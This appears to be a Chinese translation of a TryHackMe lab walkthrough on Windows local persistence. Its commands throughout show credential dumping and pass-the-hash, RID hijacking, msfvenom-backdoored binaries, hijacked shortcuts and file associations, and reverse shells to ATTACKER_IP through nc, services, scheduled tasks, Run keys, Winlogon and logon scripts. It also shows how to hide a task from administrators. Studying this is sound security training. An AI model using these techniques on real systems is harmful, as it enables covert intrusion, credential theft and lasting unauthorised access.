📌 目录

    【THM】Windows Local Persistence

    Windows Local Persistence Windows本地持久化

    简介

    Room Icon

    在成功入侵目标内部网络后,你将希望确保在真正触及核心资产之前不要失去对该网络的访问权限。在攻击者获取网络访问权限时,建立持久连接是我们首先要完成的任务之一。简单来说,持久连接指的是创建替代方法以重新访问主机,而无需再次经历整个利用阶段。

    Backdoored Phone

    有很多原因让你想尽快建立持久性,包括:

    • 重新利用并不总是可能的:一些不稳定的漏洞利用可能会在利用过程中杀死易受攻击的进程,让你只能利用其中的一些。
    • 获得立足点难以复制:例如,如果你使用钓鱼活动获得了首次访问权限,重复它以重新获得对主机的访问权限将是一项过于繁重的工作。你的第二次活动可能也不会那么有效,导致你无法访问网络。
    • 蓝队正在追捕你:如果你采取的行动被检测到,用于获得首次访问权限的任何漏洞都可能被修补。你正在和时间赛跑!

    虽然你可以保留一些管理员的密码散列并重新使用它来重新连接,但你总是冒着这些凭证在某一点被轮换的风险。此外,还有更隐蔽的方法可以让你重新获得对受损害机器的访问权限,这让蓝队的生活更加艰难。

    篡改无权限账户

    拥有管理员凭证将是实现在机器上持久化的最简单方法。然而,为了使蓝队更难检测到我们,我们可以操纵无特权的用户,他们通常不会像管理员那样受到太多监控,并设法授予他们管理权限。

    在继续之前,请点击此任务上的“启动机器”按钮。机器将在您的网页浏览器上可用,但如果您更喜欢通过 RDP 连接,可以使用以下凭证:

    用户名 管理员
    密码 Password321

    分配组成员

    对于这个任务的部分,我们将假设你已经导出了受害者机器的密码散列,并且成功破解了正在使用的非特权账户的密码。

    使非特权用户获得管理员权限的直接方法是将该用户添加到管理员组中。我们可以通过以下命令轻松实现这一点:

    C:\> net localgroup administrators thmuser0 /add
    

    这将允许您通过 RDP、WinRM 或任何其他可用的远程管理服务访问服务器。

    如果这看起来过于可疑,您可以使用备份操作员组。该组中的用户不会有管理权限,但将被允许读取/写入系统上的任何文件或注册表键,忽略任何配置的 DACL。这将使我们能够复制 SAM 和 SYSTEM 注册表分区的内容,然后我们可以使用这些内容来恢复所有用户的密码散列,使我们能够轻易地提升到任何管理账户。

    为此,我们首先将账户添加到备份操作员组:

    C:\> net localgroup "Backup Operators" thmuser1 /add
    

    由于这是一个无权限的账户,除非我们将其添加到远程桌面用户(RDP)或远程管理用户(WinRM)组,否则它无法通过 RDP 或 WinRM 远程连接到该机器。我们将使用 WinRM 来完成这项任务:

    C:\> net localgroup "Remote Management Users" thmuser1 /add
    

    我们将假设我们已经将凭证导出到服务器上,并且已经获得了 thmuser1 的密码。让我们使用这些凭证通过 WinRM 进行连接:

    用户名 thmuser1
    密码 Password321

    如果您现在尝试从攻击者机器连接,您可能会惊讶地发现,即使您属于备份操作员组,您也无法像预期那样访问所有文件。快速检查我们分配的组会显示,我们是备份操作员组的一部分,但该组已被禁用:

    user@AttackBox$ evil-winrm -i MACHINE_IP -u thmuser1 -p Password321
    
    *Evil-WinRM* PS C:\> whoami /groups
    
    GROUP INFORMATION
    -----------------
    
    Group Name                             Type             SID          Attributes
    ====================================== ================ ============ ==================================================
    Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
    BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
    BUILTIN\Backup Operators               Alias            S-1-5-32-551 Group used for deny only
    BUILTIN\Remote Management Users        Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
    Mandatory Label\Medium Mandatory Level Label            S-1-16-8192
    

    这是由于用户账户控制(UAC)。UAC 实现的一个功能,本地账户令牌筛选策略(LocalAccountTokenFilterPolicy),在远程登录时剥夺任何本地账户的行政权限。虽然您可以通过 UAC 从图形用户会话中提升权限(有关 UAC 的更多信息请参阅此处),但如果您使用 WinRM,您将受到限制的访问令牌的约束,没有行政权限。

    要能够从您的用户账户恢复管理员权限,我们需要通过将以下注册表键更改为 1 来禁用 LocalAccountTokenFilterPolicy:

    C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
    

    一旦完成所有设置,我们就可以使用我们的后门用户了。首先,让我们建立 WinRM 连接并检查备份操作员组是否已为我们用户启用:

    user@AttackBox$ evil-winrm -i MACHINE_IP -u thmuser1 -p Password321
            
    *Evil-WinRM* PS C:\> whoami /groups
    
    GROUP INFORMATION
    -----------------
    
    Group Name                           Type             SID          Attributes
    ==================================== ================ ============ ==================================================
    Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
    BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
    BUILTIN\Backup Operators             Alias            S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
    BUILTIN\Remote Management Users      Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\NETWORK                 Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
    Mandatory Label\High Mandatory Level Label            S-1-16-12288
    

    然后我们继续备份 SAM 和 SYSTEM 文件,并将它们下载到我们的攻击机器上:

    *Evil-WinRM* PS C:\> reg save hklm\system system.bak
        The operation completed successfully.
    
    *Evil-WinRM* PS C:\> reg save hklm\sam sam.bak
        The operation completed successfully.
    
    *Evil-WinRM* PS C:\> download system.bak
        Info: Download successful!
    
    *Evil-WinRM* PS C:\> download sam.bak
        Info: Download successful!
    

    注意:如果 Evil-WinRM 下载文件花费时间过长,请随意使用其他传输方法。

    使用这些文件,我们可以使用 secretsdump.py 或其他类似工具导出所有用户的密码散列:

    user@AttackBox$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
    
    Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
    
    [*] Target system bootKey: 0x41325422ca00e6552bb6508215d8b426
    [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cea1d7e8899f69e89088c4cb4bbdaa3:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9657e898170eb98b25861ef9cafe5bd6:::
    thmuser1:1011:aad3b435b51404eeaad3b435b51404ee:e41fd391af74400faa4ff75868c93cce:::
    [*] Cleaning up...
    

    最后,使用 Pass-the-Hash 连接到目标机器,以管理员权限进行操作:

    user@AttackBox$ evil-winrm -i MACHINE_IP -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3
    

    THM flag使用通过 thmuser1 获得的管理员控制台执行 C:\flags\flag1.exe 以获取您的旗帜。

    特殊权限和安全描述符

    类似将用户添加到备份操作员组的操作,无需修改任何组成员资格即可实现。特殊组之所以特殊,仅因为操作系统默认赋予它们特定的权限。权限仅仅是能够在系统本身上执行任务的容量。这包括从拥有关闭服务器的能力到能够拥有系统上任何文件的最高权限等简单事物。完整的权限列表可以在此处找到以供参考。

    在备份操作员组的案例中,它默认拥有以下两个权限:

    • SeBackupPrivilege: 用户可以读取系统中的任何文件,忽略任何现有的 DACL。
    • SeRestorePrivilege: 用户可以写入系统中的任何文件,忽略任何现有的 DACL。

    我们可以将此类权限分配给任何用户,无论其组成员身份如何。为此,我们可以使用 secedit 命令。首先,我们将当前配置导出到一个临时文件:

    secedit /export /cfg config.inf
    

    我们打开文件,并将我们的用户添加到配置中关于 SeBackupPrivilege 和 SeRestorePrivilege 的行中:

    config.inf contents

    我们最终将.inf 文件转换为.sdb 文件,然后使用该文件将配置重新加载到系统中:

    secedit /import /cfg config.inf /db config.sdb
    
    secedit /configure /db config.sdb /cfg config.inf
    

    您现在应该有一个具有与任何备份操作员等效权限的用户。该用户仍然无法通过 WinRM 登录系统,所以让我们解决这个问题。我们不会将用户添加到远程管理用户组,而是将 WinRM 服务的安全描述符更改为允许 thmuser2 连接。将安全描述符想象成是一个 ACL,但应用于其他系统设施。

    要打开 WinRM 安全描述符的配置窗口,您可以在 Powershell 中使用以下命令(您需要使用 GUI 会话来完成此操作):

    Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
    

    这将打开一个窗口,您可以在其中添加 thmuser2 并将其分配为连接到 WinRM 的完全权限:

    WinRM security descriptor

    一旦完成此操作,用户可以通过 WinRM 进行连接。由于用户具有 SeBackup 和 SeRestore 权限,我们可以重复步骤从 SAM 中恢复密码散列,并使用管理员用户重新连接。

    请注意,为了让此用户能够完全使用给定的权限,您需要更改 LocalAccountTokenFilterPolicy 注册表键,但我们已经为此更改了之前的标志。

    如果您检查您用户的组成员资格,它将看起来像普通用户。完全没有可疑之处!

    C:\> net user thmuser2
    User name                    thmuser2
    
    Local Group Memberships      *Users
    Global Group memberships     *None
    

    再次假设我们已经将凭证上传到服务器,并且拥有了 thmuser2 的密码。让我们使用 WinRM 通过其凭证进行连接:

    用户名 thmuser2
    密码 Password321

    我们可以使用这些凭据登录以获取标志。

    THM flag通过 WinRM 使用 thmuser2 登录到机器并执行 C:\flags\flag2.exe 以获取您的标志。

    RID 劫持

    另一种在不成为管理员的情况下获得管理员权限的方法是更改一些注册表值,使操作系统认为你是管理员。

    当创建用户时,会分配一个称为相对 ID(RID)的标识符给他们。RID 只是一个表示用户在整个系统中的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表分页中获取其 RID 并创建与该 RID 关联的访问令牌。如果我们能够篡改注册表值,我们可以通过将相同的 RID 关联到两个账户,使 Windows 将管理员访问令牌分配给无特权的用户。

    在任何 Windows 系统中,默认管理员账户被分配了 RID = 500,而普通用户通常有 RID >= 1000。

    要查找任何用户的分配 RID,您可以使用以下命令:

    C:\> wmic useraccount get name,sid
    
    Name                SID
    Administrator       S-1-5-21-1966530601-3185510712-10604624-500
    DefaultAccount      S-1-5-21-1966530601-3185510712-10604624-503
    Guest               S-1-5-21-1966530601-3185510712-10604624-501
    thmuser1            S-1-5-21-1966530601-3185510712-10604624-1008
    thmuser2            S-1-5-21-1966530601-3185510712-10604624-1009
    thmuser3            S-1-5-21-1966530601-3185510712-10604624-1010
    

    RID 是 SID(thmuser3 为 1010,管理员为 500)的最后一位。SID 是一个标识符,允许操作系统在域中识别用户,但在这个任务中我们不会太在意它的其他部分。

    现在我们只需将 RID=500 分配给 thmuser3。为此,我们需要使用 Regedit 访问 SAM。SAM 仅限于 SYSTEM 账户,因此即使是管理员也无法编辑它。要作为 SYSTEM 运行 Regedit,我们将使用 psexec,它位于您的机器的 C:\tools\pstools 中:

    C:\tools\pstools> PsExec64.exe -i -s regedit
    

    从注册表编辑器,我们将进入 HKLM\SAM\SAM\Domains\Account\Users\ ,在那里将为机器中的每个用户都有一个键。由于我们想修改 thmuser3,我们需要搜索一个具有其 RID 的键(1010 = 0x3F2)。在相应的键下,将有一个名为 F 的值,它持有用户的有效 RID,位于 0x30 位置:

    RID hijacking 1

    请注意,RID 使用小端表示法存储,因此其字节顺序相反。

    现在我们将用管理员(Administrator)的 RID 的十六进制值(500 = 0x01F4)替换这两个字节,并交换字节顺序(F401):

    RID hijacking 2

    下一次当 thmuser3 登录时,LSASS 将将其与管理员相同的 RID 关联,并授予他们相同的权限。

    对于这个任务,我们假设您已经入侵了系统并获得了 thmuser3 的密码。为了您的方便,用户可以使用以下凭据通过 RDP 连接:

    用户名 thmuser3
    密码 Password321

    如果您一切操作正确,您应该已登录到管理员的桌面。

    注意:当您通过 RDP 登录时,现有的浏览器视图将断开连接。在您终止 RDP 会话后,通过按 Reconnect 可以重新获取浏览器视图。.

    THM flag使用 thmuser3 通过 RDP 登录到机器,并执行 C:\flags\flag3.exe 以获取您的 flag。

    image-20250414215631679

    后门文件

    另一种建立持久性的方法是篡改一些我们知道用户经常与之交互的文件。通过对这些文件进行一些修改,我们可以在用户访问它们时植入后门。由于我们不希望引发任何可能暴露我们的警报,我们修改的文件必须像预期那样继续为用户工作。

    虽然有很多机会植入后门,但我们将检查最常用的那些。

    可执行文件

    如果您在桌面上发现任何可执行文件,那么用户可能经常使用它的可能性很高。假设我们在某处找到了 PuTTY 的快捷方式。如果我们检查快捷方式的属性,我们可以看到它(通常)指向 C:\Program Files\PuTTY\putty.exe 。从那个点开始,我们可以将可执行文件下载到攻击者的机器上,并修改它以运行我们想要的任何有效载荷。

    您可以使用 msfvenom 在任何 .exe 文件中轻松植入您偏好的有效载荷。二进制文件仍然会按常规工作,但通过在您的二进制文件中添加一个额外的线程,在后台执行一个额外的有效载荷。要创建一个后门 putty.exe,我们可以使用以下命令:

    msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
    

    生成的 puttyX.exe 将在用户未察觉的情况下执行 reverse_tcp meterpreter 负载。虽然这种方法足以建立持久性,但让我们看看其他更隐蔽的技术。

    快捷文件

    如果我们不想修改可执行文件,我们总是可以篡改快捷方式文件本身。我们不是直接指向预期的可执行文件,而是将其改为指向一个会运行后门并正常执行常规程序的脚本。

    对于这个任务,让我们检查管理员桌面上计算器的快捷方式。如果我们右键单击它并转到属性,我们会看到它指向的位置:

    calc properties

    在劫持快捷方式的目标之前,让我们在 C:\Windows\System32 或其他任何隐蔽位置创建一个简单的 PowerShell 脚本。该脚本将执行反向 shell,然后从快捷方式属性的原始位置运行 calc.exe:

    Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
    
    C:\Windows\System32\calc.exe
    

    最后,我们将更改快捷方式以指向我们的脚本。注意,在此过程中快捷方式的图标可能会自动调整。请确保将图标恢复到原始可执行文件,以便用户看不到任何可见的变化。我们还想在隐藏的窗口中运行我们的脚本,为此我们将添加 -windowstyle hidden 选项到 Powershell。快捷方式的最终目标将是:

    powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
    

    backdoored lnk file

    让我们在攻击者的机器上启动一个 nc 监听器以接收我们的反向 shell:

    user@AttackBox$ nc -lvp 4445
    

    如果您双击快捷方式,应该能够连接回攻击者的机器。同时,用户将获得他们期望的计算器。您可能会注意到命令提示符在屏幕上闪烁并立即消失。希望普通用户不会太在意这一点。

    THM flag执行您的反向 shell 中的 C:\flags\flag5.exe 以获取您的 flag!

    劫持文件关联

    除了通过可执行文件或快捷方式持久化之外,我们还可以劫持任何文件关联,强制操作系统在用户打开特定文件类型时运行 shell。默认操作系统的文件关联存储在注册表中,其中为每个文件类型下的@0#存储了一个键。假设我们想检查用于打开.txt 文件的程序,我们只需检查@1#子键,找到与之关联的程序性 ID(ProgID)。ProgID 只是指向系统上安装的程序的一个标识符。对于.txt 文件,我们将有以下 ProgID:

    默认操作系统的文件关联存储在注册表中,其中为每个文件类型下的 HKLM\Software\Classes\ 存储了一个键。让我们假设我们想检查用于打开.txt 文件的程序;我们只需检查 .txt 子键,找到与之关联的程序性 ID(ProgID)。ProgID 只是一个指向系统上安装的程序标识符。对于.txt 文件,我们将有以下 ProgID:

    File extensions in registry

    我们可以搜索对应 ProgID(也在 HKLM\Software\Classes\ 下)的子键,在这种情况下,是 txtfile ,在这里我们将找到处理.txt 文件的程序引用。大多数 ProgID 条目在 shell\open\command 下有子键,其中指定了具有该扩展名的文件的默认命令:

    ProgID in registry

    在这种情况下,当你尝试打开一个.txt 文件时,系统将执行 %SystemRoot%\system32\NOTEPAD.EXE %1 ,其中 %1 代表打开的文件名。如果我们想劫持这个扩展名,我们可以用执行后门并正常打开文件的脚本替换该命令。首先,让我们创建一个包含以下内容的 ps1 脚本并将其保存到 C:\Windows\backdoor2.ps1

    Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
    C:\Windows\system32\NOTEPAD.EXE $args[0]
    

    注意在 PowerShell 中,我们必须传递 $args[0] 到记事本,因为它将包含要打开的文件名,就像通过 %1 提供的那样。

    现在让我们将注册表键更改为在隐藏窗口中运行我们的后门脚本:

    backdoored ProgID

    最后,为您的反向 shell 创建一个监听器,并尝试在受害者机器上打开任何.txt 文件(如果需要,则创建一个)。你应该会收到一个具有打开文件用户权限的反向 shell。

    THM flag一旦您已经后门化.txt 文件处理程序并生成了反向 shell,运行 C:\flags\flag6.exe 以获取一个标志!

    image-20250414215728513

    滥用服务

    Windows 服务提供了一种很好的建立持久性的方法,因为它们可以被配置为在受害机器启动时在后台运行。如果我们能利用任何服务为我们运行某些内容,那么每次受害机器启动时,我们都可以重新控制该机器。

    服务基本上是一个在后台运行的可执行文件。当配置服务时,您定义将使用哪个可执行文件,并选择服务是否在机器启动时自动运行或应该手动启动。

    我们可以通过两种主要方式滥用服务以建立持久性:要么创建一个新的服务,要么修改现有的服务以执行我们的有效载荷。

    创建后门服务

    我们可以使用以下命令创建并启动名为 "THMservice" 的服务:

    sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
    sc.exe start THMservice
    

    注意:每个等号后面必须有一个空格,否则命令无法正常工作。

    当服务启动时,将执行 "net user" 命令,将管理员密码重置为 Passwd123 。注意,服务已被设置为自动启动(start= auto),这样它就可以在不需要用户交互的情况下运行。

    重置用户密码效果不错,但我们还可以使用 msfvenom 创建一个反向 shell,并将其与创建的服务关联起来。然而,请注意,服务可执行文件是唯一的,因为它们需要实现特定的协议才能被系统处理。如果您想创建一个与 Windows 服务兼容的可执行文件,您可以在 msfvenom 中使用 exe-service 格式:

    user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe
    

    然后您可以将可执行文件复制到目标系统,例如 C:\Windows ,并将服务的 binPath 指向它:

    sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
    sc.exe start THMservice2
    

    这应该会创建一个连接回攻击者的机器。

    THM flag使用您刚刚获取的反向 shell 执行 C:\flags\flag7.exe

    修改现有服务

    虽然创建新的持久化服务效果很好,但蓝队可能会监控网络中新服务的创建。我们可能想要重用现有服务而不是创建一个,以避免被检测。通常,任何已禁用的服务都是一个很好的候选者,因为它可以在用户没有注意到的情况下被修改。

    您可以使用以下命令获取可用服务的列表:

    C:\> sc.exe query state=all
    SERVICE_NAME: THMService1
    DISPLAY_NAME: THMService1
            TYPE               : 10  WIN32_OWN_PROCESS
            STATE              : 1  STOPPED
            WIN32_EXIT_CODE    : 1077  (0x435)
            SERVICE_EXIT_CODE  : 0  (0x0)
            CHECKPOINT         : 0x0
            WAIT_HINT          : 0x0
    

    您应该能够找到一个名为 THMService3 的已停止服务。要查询服务的配置,可以使用以下命令:

    C:\> sc.exe qc THMService3
    [SC] QueryServiceConfig SUCCESS
    
    SERVICE_NAME: THMService3
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 2 AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : C:\MyService\THMService.exe
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : THMService3
            DEPENDENCIES       : 
            SERVICE_START_NAME : NT AUTHORITY\Local Service
    

    使用持久化服务时,我们关注三个方面:

    • 可执行文件(BINARY_PATH_NAME)应指向我们的有效载荷。
    • 服务 START_TYPE 应设置为自动,以便有效载荷在没有用户交互的情况下运行。
    • SERVICE_START_NAME,即服务将运行的账户,最好设置为 LocalSystem 以获得系统权限。

    让我们首先使用 msfvenom 创建一个新的反向 shell:

    user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe
    

    要重新配置 "THMservice3" 参数,我们可以使用以下命令:

    C:\> sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"
    

    您可以再次查询服务的配置,以检查是否一切如预期进行:

    C:\> sc.exe qc THMservice3
    [SC] QueryServiceConfig SUCCESS
    
    SERVICE_NAME: THMservice3
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : C:\Windows\rev-svc2.exe
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : THMservice3
            DEPENDENCIES       :
            SERVICE_START_NAME : LocalSystem
    

    THM flag启动攻击者机器上的 Metasploit 监听器,并手动启动服务以接收反向 shell。从那里,运行 C:\flags\flag8.exe 以获取旗帜!

    image-20250414220759670

    滥用计划任务

    我们也可以使用计划任务在需要时建立持久性。在 Windows 系统中,有几种方式可以安排有效负载的执行。让我们看看其中的一些:

    任务计划程序

    最常见的方式是使用内置的 Windows 任务计划程序来安排任务。任务计划程序允许您对任务启动时间进行精细控制,让您可以配置在特定小时激活、定期重复或甚至在特定系统事件发生时触发的任务。从命令行,您可以使用 schtasks 与任务计划程序交互。完整的命令参考可以在 Microsoft 网站上找到。

    让我们创建一个每分钟运行一次反向 shell 的任务。在现实场景中,您可能不希望您的有效负载运行得如此频繁,但我们不想等待这个房间太长时间:

    C:\> schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
    SUCCESS: The scheduled task "THM-TaskBackdoor" has successfully been created.
    

    注意:请务必使用 THM-TaskBackdoor 作为您任务的名称,否则您将无法获得旗帜。

    上一个命令将创建一个 "THM-TaskBackdoor" 任务并执行一个 nc64 反弹 shell 回攻击者。 /sc/mo 选项表示任务应该每分钟运行一次。 /ru 选项表示任务将以 SYSTEM 权限运行。

    要检查我们的任务是否成功创建,我们可以使用以下命令:

    C:\> schtasks /query /tn thm-taskbackdoor
    
    Folder: \
    TaskName                                 Next Run Time          Status
    ======================================== ====================== ===============
    thm-taskbackdoor                         5/25/2022 8:08:00 AM   Ready
    

    使我们的任务不可见

    "我们的任务现在应该已经启动并运行,但如果被入侵的用户尝试列出其计划任务,我们的后门就会变得明显。为了进一步隐藏我们的计划任务,我们可以通过删除其安全描述符(SD)来使其对系统中的任何用户都不可见。安全描述符只是一个 ACL,它声明了哪些用户可以访问计划任务。如果你的用户不允许查询计划任务,你就再也看不到它了,因为 Windows 只会显示你有权限使用的任务。删除 SD 相当于禁止所有用户访问计划任务,包括管理员。

    所有计划任务的安全描述符存储在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ 中。您可以在每个任务的注册表键下找到名为"SD"的值,其中包含安全描述符。只有拥有 SYSTEM 权限,您才能删除该值。

    为了隐藏我们的任务,让我们删除之前创建的 "THM-TaskBackdoor" 任务的 SD 值。为此,我们将使用 psexec (可在 C:\tools 中找到)以系统权限打开 Regedit:

    C:\> c:\tools\pstools\PsExec64.exe -s -i regedit
    

    我们将删除我们任务的安全描述符:

    Task Scheduler SD

    如果我们再次尝试查询我们的服务,系统将告诉我们没有这样的任务:

    C:\> schtasks /query /tn thm-taskbackdoor ERROR: The system cannot find the file specified.
    

    如果我们在我们攻击者的机器上启动一个 nc 监听器,一分钟之后我们应该会得到一个 shell:

    user@AttackBox$ nc -lvp 4449
    

    THM flag使用通过任务计划程序获得的反向 shell 执行 C:\flags\flag9.exe 以获取一个 flag。

    image-20250414221215788

    登录触发持久化

    一些用户执行的操作也可能与执行特定有效载荷以实现持久化相关联。Windows 操作系统提供了多种将有效载荷与特定交互关联的方法。本任务将探讨在用户登录系统时执行的有效载荷植入方法。

    启动文件夹

    每个用户在 C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 下都有一个文件夹,您可以将可执行文件放在那里,以便用户登录时运行。攻击者只需将有效载荷放在那里即可实现持久化。请注意,每个用户只会运行他们文件夹中可用的内容。

    如果我们想强制所有用户在登录时运行有效载荷,我们可以用相同的方式使用 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 下的文件夹。

    对于这个任务,让我们使用 msfvenom 生成一个反向 shell 有效载荷:

    user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe
    

    然后我们将我们的有效载荷复制到受害者机器上。您可以使用 Python3 启动 http.server ,并在受害者机器上使用 wget 拉取您的文件:

    user@AttackBox$ python3 -m http.server 
    Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 
    

    PS C:\> wget http://ATTACKER_IP:8000/revshell.exe -O revshell.exe
    

    我们将有效载荷存储到 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 文件夹中,以便任何登录到机器的用户都能获得一个 shell。

    C:\> copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
    

    现在请确保从开始菜单注销您的会话(仅关闭 RDP 窗口是不够的,因为它会留下您的会话打开):

    sign out

    通过 RDP 重新登录。您应立即收到连接到攻击者机器的连接。

    THM flag使用您新获得的 shell 执行 C:\flags\flag10.exe 并获取您的 flag!

    运行 / 运行一次

    您还可以通过注册表强制用户在登录时执行程序。而不是将您的有效载荷放入特定目录,您可以使用以下注册表项来指定在登录时运行的程序:

    • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

    注册表项在 HKCU 下仅适用于当前用户,而在 HKLM 下的将适用于所有人。在 Run 键下指定的任何程序将在用户登录时运行。在 RunOnce 键下指定的程序将只运行一次。

    对于这个任务,让我们使用 msfvenom 创建一个新的反向 shell:

    user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4451 -f exe -o revshell.exe
    

    将其传输到受害者机器后,让我们将其移动到 C:\Windows\ :

    C:\> move revshell.exe C:\Windows
    

    然后,在 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 下创建一个 REG_EXPAND_SZ 注册表条目。条目的名称可以是任何你喜欢的,值将是我们要执行的命令。

    注意:虽然在现实世界的设置中你可以为你的注册表条目使用任何名称,但对于这个任务,你必须使用 MyBackdoor 来接收标志。

    backdoored Run entry

    完成此操作后,请退出当前会话并重新登录,您应该会收到一个 shell(这可能需要大约 10-20 秒)。

    THM flag使用您新获得的 shell,执行 C:\flags\flag11.exe 以获取旗帜!

    Winlogon

    另一种在登录时自动启动程序的替代方法是滥用 Winlogon,这是在认证后立即加载您的用户配置文件(以及其他一些功能)的 Windows 组件。

    Winlogon 在 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ 下使用一些注册表键,这些键可能有助于实现持久化:

    • Userinit 指向 userinit.exe ,负责恢复您的用户配置文件首选项。
    • shell 指向系统的 shell,通常为 explorer.exe

    Winlogon registry

    如果我们用某个反向 shell 替换任何可执行文件,我们将破坏登录序列,这不是我们想要的。有趣的是,你可以通过逗号分隔命令,Winlogon 将处理所有这些命令。

    让我们先创建一个 shell:

    user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4452 -f exe -o revshell.exe
    

    我们将像之前一样将 shell 传输到受害机器。然后我们可以将 shell 复制到我们喜欢的任何目录。在这种情况下,我们将使用 C:\Windows:

    C:\> move revshell.exe C:\Windows
    

    然后我们在 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ 中更改 shellUserinit 。在这种情况下,我们将使用 Userinit ,但使用 shell 的过程是相同的。

    注意:虽然 shellUserinit 都可以在实际场景中实现持久化,但要在这个房间里获取旗帜,您需要使用 Userinit

    Backdoored userinit

    完成此操作后,退出当前会话并重新登录,您应该会收到一个 shell(可能需要大约 10 秒)。

    THM flag使用您新获得的 shell,执行 C:\flags\flag12.exe 以获取旗帜!

    登录脚本

    在加载您的用户配置文件时, userinit.exe 之一做的事情是检查一个名为 UserInitMprLogonScript 的环境变量。我们可以使用这个环境变量为用户分配一个登录脚本,该脚本在登录到机器时将运行。默认情况下,该变量未设置,因此我们可以创建它并分配我们喜欢的任何脚本。

    请注意,每个用户都有自己的环境变量;因此,您需要分别对每个进行后门操作。

    让我们首先创建一个用于此技术的反向 shell:

    user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4453 -f exe -o revshell.exe
    

    我们将像之前一样将 shell 传输到受害机器。然后我们可以将 shell 复制到我们喜欢的任何目录。在这种情况下,我们将使用 C:\Windows:

    C:\> move revshell.exe C:\Windows
    

    创建用户环境变量,您可以在注册表中找到其 HKCU\Environment 。我们将使用 UserInitMprLogonScript 条目来指向我们的有效载荷,以便在用户登录时加载:

    Backdoored env

    请注意,此注册表键在 HKLM 中没有等效项,因此您的后门仅适用于当前用户。

    完成此操作后,退出当前会话并重新登录,您应该会收到一个 shell(可能需要大约 10 秒)。

